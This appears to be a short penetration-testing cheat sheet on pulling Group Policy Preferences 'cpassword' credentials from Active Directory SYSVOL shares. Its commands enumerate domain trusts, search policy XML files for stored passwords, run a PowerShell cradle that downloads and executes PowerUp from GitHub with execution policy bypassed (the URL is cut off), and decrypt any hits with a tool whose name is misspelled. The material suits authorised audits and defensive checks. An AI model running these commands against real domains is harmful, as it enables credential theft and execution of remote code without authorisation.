Background

How to check for

Note that if the domain have trust with another domain it is likely that your user will access the SYSVOL of that domain as well.
So make sure to check both (or however many domains there are trust too) domains SYSVOL.

To check which other domains there are trust to

```
nltest /domain_trusts
```

Using CMD findstr

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Using PowerUp.ps1

```
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafi
```

Semi-manually

Mount the SYSVOL of a Domain Controller

```
 net use K: \\dc01\sysvol
K:
cd <domain>\Policies
gci -recurse -filter "*.xml" | select-string cpass | out-file C:\Users\<YOUUSER>\Documents\gppresults.txt
```

If you found a string you can decrypt it with:

```
gpp-decyypt <string>
```

References

For more info: https://adsecurity.org/?p=2288